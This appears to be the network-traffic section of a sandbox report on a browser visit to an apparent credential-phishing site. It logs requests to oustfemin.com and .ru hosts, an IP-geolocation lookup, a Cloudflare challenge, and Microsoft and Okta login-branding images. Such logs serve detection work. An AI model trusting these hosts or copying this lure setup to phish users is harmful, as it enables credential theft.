Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://4quqe.oustfemin.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ops0dzO1sQtluDIzM8DgPT4dyRUHfrRWMQGo6jgW12jF6nk7DHlM8Qvwgp5QX1Bbzcd239 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsYhvroAIArkSYfucuHoMsxdZ0ghDjdWp1MVKJoCKLd9cd193 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ops0dzO1sQtluDIzM8DgPT4dyRUHfrRWMQGo6jgW12jF6nk7DHlM8Qvwgp5QX1Bbzcd239 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RGfvLSaw8nkh3GL&MD=kE83BM7R HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cmwhNKwHmklilXCQnLOGZJZYiqyrdVIVCMLVPGNRGUOUYLUPAOUAGZHTXXERYRPZXPGQKQMCIBCEUIGAMONSEpqnZWaNKN7Fq8J4htH12yExBuv35 HTTP/1.1Host: plsu.cacbbt.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-qq3bnf8j1njkrpr2jp05vj9kvt-rzdcwbkgtoviv7bm/logintenantbranding/0/bannerlogo?ts=638464375259754991 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nz2XauxEJD6GOWIsNGbmhsISqkHYGospXOJ06xJDflJxNYAMTIpSqdz HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFjb3orSnZTdSt6Z3JwWUxqdWhWd2c9PSIsInZhbHVlIjoiUTJ0TmUzM3NaNGcxSmpGa2FCWGlkZGx0T0U5dE1LL21RNDdielBxM2oyK3M4NSsxRzBKQnJMN0dpU1hsZ1REcGswVU1QNUtVYnU3M2ZZNDNlMFRwMlFDY3RwYWF3STJsOG9GYk1DdHg2TmwxUnlZSFUyZ2dlT0RxSi8rc2VJWHciLCJtYWMiOiIxMzI0OGZiNjQyMGY1NDEwOWQ4NDdlYzM4Zjk5YmExY2Q4YmQ1NWZjMTVhN2JhNzI2YjJlMGVhMjNlMzFiNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtYMnlOenh2TmZCUjBnVHBFYW9KL0E9PSIsInZhbHVlIjoiNTdTb0VNSnAvNGk0TmxERHFMQ3JmWnMwRHlTWm5KeFV2b2IvU2tVQnU5RzJMUlRpU0QwOFFxbmV6a3g0VlZacGt1aWdKdHhiZ0xjRDRzb1hQUGpUc21HbVZpWUlCUlM3ektOSEw3c24xTnV1ekNmZkJxVkFaa3ZBdEpTNHREWUciLCJtYWMiOiIzZmVjNjEwZmQwN2ZiZmE2NDRmZTgxMDBmYWY4ODMxNjUzZmUzMWNlZDQ5ZjUwZWQ3YjJiOTRiNzUwMWUzMDc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-qq3bnf8j1njkrpr2jp05vj9kvt-rzdcwbkgtoviv7bm/logintenantbranding/0/bannerlogo?ts=638464375259754991 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: app.supercast.com
Source: global traffic	DNS traffic detected: DNS query: nursematte.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: job555.info
Source: global traffic	DNS traffic detected: DNS query: 4quqe.oustfemin.com
Source: global traffic	DNS traffic detected: DNS query: n9mq.selinsvi.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: plsu.cacbbt.ru
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2837sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: 76b287cdb3503eesec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:21:18 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: elE6rBCBI3vWrk26R4daoTEFyav8NM5GqWw=$L9YEwQPW0l98ZH5EServer: cloudflareCF-RAY: 8b7bbf908f25236b-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:21:22 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: rxDTqfhXJfIliuQJWDjhpV9+RLTp1Zv5MNo=$i2DYcxg/tZ02Pt/WServer: cloudflareCF-RAY: 8b7bbfa4aa0a18f6-EWRalt-svc: h3=":443"; ma=86400
